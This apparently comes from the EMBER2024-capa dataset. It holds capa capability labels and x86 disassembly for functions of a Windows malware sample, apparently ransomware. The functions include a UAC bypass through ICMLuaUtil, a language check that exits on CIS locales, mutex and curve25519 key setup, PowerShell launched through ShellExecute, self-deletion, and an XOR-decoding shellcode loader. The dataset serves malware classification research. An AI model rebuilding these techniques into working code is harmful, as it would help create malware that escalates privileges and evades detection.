joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405880
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x480
push ebx
push esi
push edi
push 0
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0xc
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x18], 1
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x1c], 0
push eax
mov esi, edx
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x40592b
xor eax, eax
nop
mov byte [ebp + eax - 0x7c], 0
inc eax
cmp eax, 0x44
jb 0x4058c0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
xor eax, eax
mov dword [ebp - 0x7c], 0x44
mov dword [ebp - 0x50], 0x101
mov word [ebp - 0x4c], ax
nop dword [eax + eax]
mov byte [ebp + eax - 0x30], 0
inc eax
cmp eax, 0x10
jb 0x4058f0
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x7c]
push eax
push 0
push 0
push 0x10
push 1
push 0
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x405934
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x14]
call esi
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0xea60
push dword [ebp - 0x30]
xor edi, edi
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
lea eax, [ebp - 0xc]
mov dword [ebp - 8], ebx
push eax
push ebx
push ebx
push ebx
push dword [ebp - 0x10]
mov dword [ebp - 0xc], ebx
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x405a3a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 0x400
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x405a3a
push 0
cmp eax, 0x400
lea ecx, [ebp - 8]
push ecx
cmova eax, edx
push eax
lea eax, [ebp - 0x47c]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x405a3a
mov eax, dword [ebp - 8]
test eax, eax
je 0x405a3a
inc eax
add eax, ebx
cmp ebx, eax
ja 0x405a3a
push eax
test edi, edi
jne 0x4059ca
push 8
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
jmp 0x4059d6
push edi
push 8
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov edi, eax
test edi, edi
je 0x405a0a
mov edx, dword [ebp - 8]
lea esi, [ebx + edi]
test esi, esi
je 0x405a02
xor eax, eax
test edx, edx
je 0x405a02
nop dword [eax]
mov cl, byte [ebp + eax - 0x47c]
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jb 0x4059f0
mov edx, dword [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add ebx, edx
push 0
lea eax, [ebp - 0xc]
mov dword [ebp - 8], 0
push eax
push 0
push 0
push 0
push dword [ebp - 0x10]
mov dword [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov edx, 0x400
test eax, eax
jne 0x405970
push dword [ebp - 0x2c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x30]
call esi
test edi, edi
je 0x405a52
mov byte [ebx + edi], 0
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406690
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
xor eax, eax
push esi
mov esi, edx
nop dword [eax + eax]
mov byte [ebp + eax - 0x44], 0
inc eax
cmp eax, 0x3c
jb 0x4066a0
mov dword [ebp - 0x44], 0x3c
xor eax, eax
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x14], 1
mov dword [ebp - 0xc], 1
nop dword [eax]
mov byte [eax + esi], 0
inc eax
cmp eax, 0x10
jb 0x4066d0
xor eax, eax
test ecx, ecx
je 0x4066ed
cmp word [ecx], ax
je 0x4066ed
inc eax
cmp word [ecx + eax*2], 0
jne 0x4066e5
lea edx, [ebp - 0x44]
push edx
push 0
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetCrackUrlW]
test eax, eax
je 0x40683d
mov eax, dword [ebp - 0x30]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea eax, [eax*2 + 2]
push eax
push 8
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, eax
mov dword [esi], edx
test edx, edx
je 0x40683c
push edi
mov edi, dword [ebp - 0x34]
test edi, edi
je 0x40675a
mov eax, dword [ebp - 0x30]
xor ecx, ecx
lea ebx, [eax + eax]
test ebx, ebx
je 0x40674e
mov al, byte [ecx + edi]
mov byte [ecx + edx], al
inc ecx
cmp ecx, ebx
jb 0x406740
mov eax, dword [ebp - 0x30]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor ecx, ecx
mov word [edx + eax*2], cx
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x406778
mov eax, dword [ebp - 0x18]
cmp word [eax], 0x2f
jne 0x406778
dec ecx
add eax, 2
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], eax
test ecx, ecx
jne 0x406764
mov eax, dword [ebp - 0xc]
inc eax
add eax, ecx
add eax, eax
mov dword [ebp - 8], eax
add eax, 2
push eax
push 8
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, eax
mov dword [ebp - 4], ecx
mov dword [esi + 4], ecx
test ecx, ecx
je 0x406807
mov eax, 0x2f
mov word [ecx], ax
mov edx, dword [ebp - 0x18]
test edx, edx
je 0x4067ce
mov eax, dword [ebp - 0x14]
lea ebx, [ecx + 2]
lea edi, [eax + eax]
test ebx, ebx
je 0x4067ce
xor ecx, ecx
test edi, edi
je 0x4067cb
mov al, byte [ecx + edx]
mov byte [ecx + ebx], al
inc ecx
cmp ecx, edi
jb 0x4067c0
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x10]
test edx, edx
je 0x4067fb
mov ebx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
inc ebx
lea ebx, [ecx + ebx*2]
lea edi, [eax + eax]
test ebx, ebx
je 0x4067fb
xor ecx, ecx
test edi, edi
je 0x4067fb
nop dword [eax]
mov al, byte [ecx + edx]
mov byte [ecx + ebx], al
inc ecx
cmp ecx, edi
jb 0x4067f0
mov eax, dword [ebp - 4]
xor edx, edx
mov ecx, dword [ebp - 8]
mov word [ecx + eax], dx
mov eax, dword [ebp - 0x14]
inc eax
mov dword [esi + 8], eax
mov ax, word [ebp - 0x2c]
mov word [esi + 0xc], ax
mov eax, dword [ebp - 0x38]
pop edi
sub eax, 3
je 0x406838
sub eax, 1
je 0x40682e
pop ebx
mov byte [esi + 0xe], 0
pop esi
mov esp, ebp
pop ebp
ret
pop ebx
mov byte [esi + 0xe], 2
pop esi
mov esp, ebp
pop ebp
ret
mov byte [esi + 0xe], 1
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4071c0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
mov dword [ebp - 0x10], ecx
push esi
push edi
lea edi, [ebx + 1]
mov dword [ebp - 4], reloc.OLEAUT32.dll_SysReAllocString
lea eax, [ebp - 4]
xor esi, esi
push eax
push edi
push esi
push 0x401520
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40724f
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0xc]
push eax
push esi
push 0x401508
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x407246
mov eax, dword [ebp - 8]
add eax, 2
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x407246
lea eax, [ebp - 8]
push eax
push esi
push 0
push 0
push 0x401508
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebx, dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x407266
test edi, 0x100
jne 0x40728e
or edi, 0x100
jmp 0x4071d1
test ebx, ebx
je 0x40728e
test bl, 1
jne 0x40728e
mov eax, dword [ebp - 0xc]
cmp eax, 1
je 0x40727c
cmp eax, 2
jne 0x40728e
shr ebx, 1
cmp word [esi + ebx*2 - 2], 0
je 0x40728e
xor eax, eax
mov word [esi + ebx*2], ax
jmp 0x407294
xor eax, eax
test esi, esi
je 0x4072b7
cmp word [esi], 0
je 0x4072b7
nop word [eax + eax]
inc eax
cmp word [esi + eax*2], 0
jne 0x4072a0
cmp eax, 0x3c
jbe 0x4072b7
xor eax, eax
xor edx, edx
mov word [esi + 0x78], ax
jmp 0x4072bd
xor edx, edx
test esi, esi
je 0x4072cb
cmp word [esi], 0
je 0x4072cb
inc edx
cmp word [esi + edx*2], 0
jne 0x4072c3
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x4072eb
test esi, esi
je 0x4072eb
lea edi, [edx + edx]
xor ecx, ecx
test edi, edi
je 0x4072eb
nop
mov al, byte [ecx + esi]
mov byte [ecx + ebx], al
inc ecx
cmp ecx, edi
jb 0x4072e0
pop edi
xor eax, eax
mov word [ebx + edx*2], ax
mov al, 1
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407300
Capabilities:
Bypass uac via icmluautil
Get common file path
Get session user name
Query environment variable
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1270
call fcn.00409710
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0xc68]
push 0x104
push eax
push 0x401560
call edi
push 0x104
lea eax, [ebp - 0x240]
push eax
push 0x401574
call edi
lea eax, [ebp - 0x240]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x40735f
push 0x104
lea eax, [ebp - 0x240]
push eax
push 0x401594
call edi
push 0x104
lea eax, [ebp - 0x1270]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
test eax, eax
jne 0x40737b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [sym.imp.SHLWAPI.dll_wnsprintfW]
lea eax, [ebp - 0x858]
push 0x40a0cc
push 0x4015b4
push 0x104
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x448]
push 0x104
push eax
lea eax, [ebp - 0x858]
push eax
call edi
lea eax, [ebp - 0x448]
push eax
push 0x4015e4
lea eax, [ebp - 0x1068]
push 0x200
push eax
call esi
add esp, 4
lea edx, [ebp - 0x1068]
call fcn.00406d70
add esp, 0xc
lea eax, [ebp - 0x448]
push 6
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x401a70
lea eax, [ebp - 0x1068]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0xc]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x650]
mov dword [ebp - 0xc], 0x101
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [ebp - 4]
push eax
push 1
lea eax, [ebp - 0x650]
push eax
push 0
call dword [sym.imp.NETAPI32.dll_NetUserGetInfo]
test eax, eax
jne 0x407511
mov eax, dword [ebp - 4]
push eax
mov esi, dword [eax + 0xc]
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
cmp esi, 2
jne 0x407511
call fcn.00409470
push esi
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0x402440
mov dword [ebp - 0x10], eax
mov edi, 0x80004005
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x40
jg 0x4074d3
mov ecx, 0x24
lea eax, [ebp - 0x34]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x407484
push 0x402440
lea eax, [ebp - 0xa60]
mov dword [ebp - 0x34], 0x24
push 0x4023fc
push eax
mov dword [ebp - 0x20], 4
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 8]
push eax
push 0x402540
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0xa60]
push eax
call dword [sym.imp.ole32.dll_CoGetObject]
mov edi, eax
mov esi, dword [ebp - 8]
test edi, edi
jne 0x4074f9
test esi, esi
je 0x407505
mov eax, dword [esi]
lea ecx, [ebp - 0x1068]
push edi
push edi
push edi
mov eax, dword [eax + 0x24]
push ecx
lea ecx, [ebp - 0xc68]
push ecx
push esi
call eax
jmp 0x4074fd
test esi, esi
je 0x407505
mov eax, dword [esi]
push esi
mov eax, dword [eax + 8]
call eax
cmp dword [ebp - 0x10], 0
jne 0x407511
call dword [sym.imp.ole32.dll_CoUninitialize]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x407520
Capabilities:
Delete file
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
lea eax, [ebp - 0x410]
push 0x40a0cc
push 0x4015b4
push 0x104
push eax
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x10
lea eax, [ebp - 0x208]
push 0x104
push eax
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call fcn.00406c80
lea ecx, [ebp - 0x208]
call fcn.004096b0
test al, al
je 0x407582
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x407730
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xdc
push ebx
push esi
push edi
mov ebx, edx
mov edi, ecx
xor esi, esi
mov al, byte [esi + 0x40a0ac]
mov byte [ebp + esi - 0xd8], al
inc esi
cmp esi, 0x20
jb 0x407742
test edi, edi
je 0x407770
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ecx + edi]
mov byte [ebp + ecx - 0xb8], al
inc ecx
cmp ecx, 0x10
jb 0x407760
xor ecx, ecx
mov dword [ebp - 0x60], 0x67452301
mov dword [ebp - 0x5c], 0xefcdab89
xor esi, esi
mov dword [ebp - 0x58], 0x98badcfe
mov dword [ebp - 0x54], 0x10325476
mov dword [ebp - 0x68], 0x30
mov dword [ebp - 0x64], ecx
nop word [eax + eax]
mov al, byte [ebp + esi - 0xd8]
mov byte [ebp + ecx - 0x50], al
inc ecx
test cl, 0x3f
jne 0x4077f5
xor eax, eax
movzx edx, byte [ebp + eax - 0x4d]
movzx ecx, byte [ebp + eax - 0x4e]
shl edx, 8
or edx, ecx
movzx ecx, byte [ebp + eax - 0x4f]
shl edx, 8
or edx, ecx
movzx ecx, byte [ebp + eax - 0x50]
shl edx, 8
or edx, ecx
mov dword [ebp + eax - 0xa8], edx
add eax, 4
cmp eax, 0x40
jb 0x4077b3
lea edx, [ebp - 0xa8]
lea ecx, [ebp - 0x60]
call fcn.00405690
xor ecx, ecx
inc esi
cmp esi, 0x30
jb 0x4077a0
mov ecx, dword [ebp - 0x68]
mov eax, 0x78
and ecx, 0x3f
mov esi, 0x38
sub eax, ecx
sub esi, ecx
cmp ecx, 0x38
mov edx, 0x40a020
lea ecx, [ebp - 0x68]
cmovae esi, eax
push esi
call fcn.00405610
mov edi, dword [ebp - 0x68]
add esp, 4
sub edi, esi
mov esi, dword [ebp - 0x64]
mov dword [ebp - 0x68], edi
sbb esi, 0
xor edx, edx
mov dword [ebp - 0x64], esi
nop dword [eax]
movzx ecx, byte [ebp + edx - 0x4d]
movzx eax, byte [ebp + edx - 0x4e]
shl ecx, 8
or ecx, eax
movzx eax, byte [ebp + edx - 0x4f]
shl ecx, 8
or ecx, eax
movzx eax, byte [ebp + edx - 0x50]
shl ecx, 8
or ecx, eax
mov dword [ebp + edx - 0xa8], ecx
add edx, 4
cmp edx, 0x38
jb 0x407840
lea eax, [edi*8]
shld esi, edi, 3
lea edx, [ebp - 0xa8]
mov dword [ebp - 0x70], eax
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x6c], esi
call fcn.00405690
movzx eax, byte [ebp - 0x60]
mov ecx, dword [ebp - 0x60]
mov byte [ebp - 0x10], al
mov eax, ecx
shr eax, 8
mov byte [ebp - 0xf], al
mov eax, ecx
shr eax, 0x10
mov byte [ebp - 0xe], al
movzx eax, byte [ebp - 0x5c]
mov byte [ebp - 0xc], al
shr ecx, 0x18
mov byte [ebp - 0xd], cl
mov ecx, dword [ebp - 0x5c]
mov eax, ecx
shr eax, 8
mov byte [ebp - 0xb], al
mov eax, ecx
shr eax, 0x10
mov byte [ebp - 0xa], al
movzx eax, byte [ebp - 0x58]
shr ecx, 0x18
mov byte [ebp - 8], al
mov byte [ebp - 9], cl
mov ecx, dword [ebp - 0x58]
mov eax, ecx
shr eax, 8
mov byte [ebp - 7], al
mov eax, ecx
shr eax, 0x10
mov byte [ebp - 6], al
movzx eax, byte [ebp - 0x54]
shr ecx, 0x18
mov byte [ebp - 4], al
mov byte [ebp - 5], cl
mov ecx, dword [ebp - 0x54]
mov eax, ecx
shr eax, 8
mov byte [ebp - 3], al
mov eax, ecx
shr eax, 0x10
shr ecx, 0x18
mov byte [ebp - 2], al
mov byte [ebp - 1], cl
test ebx, ebx
je 0x407924
xor ecx, ecx
mov al, byte [ebp + ecx - 0x10]
mov byte [ecx + ebx], al
inc ecx
cmp ecx, 0x10
jb 0x407917
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408710
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create new key via cryptacquirecontext
Get disk information
Initialize winsock library
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4b0
push 0x40a088
mov dword [0x40a4fc], 0
mov dword [0x40a0a0], 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea ecx, [ebp - 0x98]
call fcn.004071c0
push 0
push 0
push 0
push 0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push 0
push 0
push 0x401500
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
imul ecx, dword [ebp - 4], 0x129b90
push 0x80
mov dword [ebp - 0xc], 0xf3f3f3f3
mov dword [ebp - 8], 0xf3f3f3f3
mov dword [ebp - 4], 0x94f460f3
lea eax, [ecx - 0x48bd]
mov word [ebp - 0xe], ax
imul eax, ecx, 0x129b90
add eax, 0x67075df3
mov dword [ebp - 0x14], eax
imul eax, eax, 0x129b90
add eax, 0x3b4b743
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.ole32.dll_StringFromGUID2]
lea eax, [ebp - 0x98]
push eax
push 0x401d10
push 0x40a0cc
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x40a4f8], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4088f1
call fcn.004026d0
xor edx, edx
mov ecx, 0x1f
div ecx
mov eax, 0x258
add edx, 0x3c
cmp edx, eax
cmova edx, eax
lea eax, [ebp - 0x4b0]
push eax
push 0x202
mov dword [0x40a0a8], edx
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0xf0000000
push 0x18
push 0x4010dc
push 0
push 0x40a4f4
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x40886f
push 0xf0000008
push 0x18
push 0x4010dc
push eax
push 0x40a4f4
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x4088f1
xor eax, eax
lea eax, [eax + 1]
lea edx, [eax + eax]
cmp word [edx + 0x401d18], 0
jne 0x408871
xor ecx, ecx
test edx, edx
je 0x4088a1
nop word [eax + eax]
mov al, byte [ecx + 0x401d18]
mov byte [ecx + 0x40a10c], al
inc ecx
cmp ecx, edx
jb 0x408890
xor eax, eax
push eax
push eax
mov word [edx + 0x40a10c], ax
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0x104
lea eax, [ebp - 0x320]
push eax
push 0x401d58
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0
push 0x4000080
push 2
push 0
push 0
push 0x10000000
lea eax, [ebp - 0x320]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x40a0a4], eax
mov esp, ebp
pop ebp
ret
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x408900
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Query environment variable
Run powershell expression

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb00
lea eax, [ebp - 0x510]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0x104
push eax
push 0x401d78
call esi
push 0x104
lea eax, [ebp - 0x308]
push eax
push 0x401de8
call esi
push 0x104
lea eax, [ebp - 0x718]
push eax
push 0x401560
call esi
xor eax, eax
nop dword [eax + eax]
mov byte [ebp + eax - 0x100], 0
inc eax
cmp eax, 0x100
jb 0x408950
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea eax, [ebp - 0x308]
push eax
call esi
cmp eax, 0xffffffff
je 0x40897f
test al, 0x10
jne 0x40897f
push 0x401e58
jmp 0x408996
lea eax, [ebp - 0x510]
push eax
call esi
cmp eax, 0xffffffff
je 0x4089a3
test al, 0x10
jne 0x4089a3
push 0x401e68
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x100]
push eax
push 0x401e78
push 0x401ef0
lea eax, [ebp - 0xb00]
push 0x1f4
push eax
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x14
lea eax, [ebp - 0xb00]
push 0
push 0
push eax
lea eax, [ebp - 0x718]
push eax
push 0x401cd4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x409210
Capabilities:
Get common file path
Identify system language via api
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
movzx eax, ax
mov ecx, 0x419
cmp ax, cx
je 0x4092bc
mov ecx, 0x42b
cmp ax, cx
je 0x4092bc
mov ecx, 0x82c
cmp ax, cx
je 0x4092bc
mov ecx, 0x42c
cmp ax, cx
je 0x4092bc
mov ecx, 0x423
cmp ax, cx
je 0x4092bc
mov ecx, 0x43f
cmp ax, cx
je 0x4092bc
mov ecx, 0x428
cmp ax, cx
je 0x4092bc
mov ecx, 0x442
cmp ax, cx
je 0x4092bc
mov ecx, 0x843
cmp ax, cx
je 0x4092bc
mov ecx, 0x443
cmp ax, cx
je 0x4092bc
mov ecx, 0x422
cmp ax, cx
je 0x4092bc
call fcn.00408a00
test al, al
jne 0x4092bc
call fcn.00408710
call fcn.00407300
call fcn.00409370
call fcn.00407940
call fcn.00408900
jmp fcn.00408120
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x409370
Capabilities:
Encrypt data using curve25519
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
push ebx
push esi
push edi
lea eax, [ebp - 0x48]
push eax
push 0x20
push dword [0x40a4f4]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov al, byte [ebp - 0x29]
lea edx, [ebp - 0x48]
and byte [ebp - 0x48], 0xf8
lea ecx, [ebp - 0x28]
and al, 0x3f
or al, 0x40
push 0x401114
mov byte [ebp - 0x29], al
call fcn.00405540
add esp, 4
lea edx, [ebp - 0x48]
mov ecx, 0x40a0ac
push section..data
call fcn.00405540
add esp, 4
mov edx, 0x20
mov ecx, 0x40a0ac
push 0
call fcn.00402870
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
add esp, 4
test eax, eax
je 0x4093ee
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call ebx
push 0
mov edx, 0x20
lea ecx, [ebp - 0x28]
call fcn.00402870
mov edi, eax
add esp, 4
test edi, edi
je 0x409465
push edi
push 0x401bd8
push 0x40a0cc
push 0x65
lea eax, [ebp - 0x248]
push 0x4023f0
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
mov dword [ebp - 4], 0
mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x248]
push eax
push ecx
mov ecx, 0x40a10c
call fcn.00406850
add esp, 0x10
test eax, eax
je 0x409431
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
push 0
call esi
push eax
call ebx
push edi
push 0
call esi
push eax
call ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4096b0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4096c3
test al, 0x10
jne 0x4096c3
mov al, 1
ret
xor al, al
ret
Function at 0x407458
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x407467
pop dword [ebp - 0x10]
mov eax, 0xa62d5824
sub eax, 0xa5ece3bd
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x1246ac21
sub dword [ebp - 0x20], 0xc3f466d6
mov dword [ebp - 0x1c], 0xb90715ef
add dword [ebp - 0x1c], 0x792c3656
mov dword [ebp - 0x18], 0xd3ad27d0
add dword [ebp - 0x18], 0x789f1c5e
mov dword [ebp - 0x14], 0xe41cc90d
sub dword [ebp - 0x14], 0xe41cc90d
lea eax, [ebp - 0x20]
push eax
mov eax, 0x52bbd4f5
sub eax, 0x527b547d
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x809ca30c
sub dword [ebp - 0x20], 0xc2a39b6
mov dword [ebp - 0x1c], 0xdc0176ea
sub dword [ebp - 0x1c], 0x9a951575
mov dword [ebp - 0x18], 0x27d2d088
add dword [ebp - 0x18], 0x3b9c9be4
mov dword [ebp - 0x14], 0x2b423fa5
sub dword [ebp - 0x14], 0x2b423fa5
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0xfb6a9515
sub eax, 0xfb2a1499
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3af9c
push 0
call eax
mov ecx, 0xbcbabb6a
sub ecx, 0xbcba63eb
xor edx, edx
add edx, eax
mov esi, 0xb8e27dac
sub esi, 0xb89d69ac
add esi, dword [ebp - 0x10]
mov ebx, 0xaa585622
add ebx, 0xb8571bb8
xor dword [ebp - 4], 0x6a77d35
mov edi, dword [esi]
mov dword [ebp - 4], 0x4e21a62f
xor edi, ebx
xor dword [ebp - 4], 0x6410c0eb
mov dword [edx], edi
xor dword [ebp - 4], edi
add edx, 0x7472c8a8
sub edx, 0x7472c8a4
add esi, 0x2a1554e1
add esi, 0xd5eaab23
loop 0x40758b
add eax, 0x4a66a626
sub eax, 0x4a655557
mov ebx, eax
add eax, 0x652e523b
sub eax, 0x652e5236
mov ecx, 0x400000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret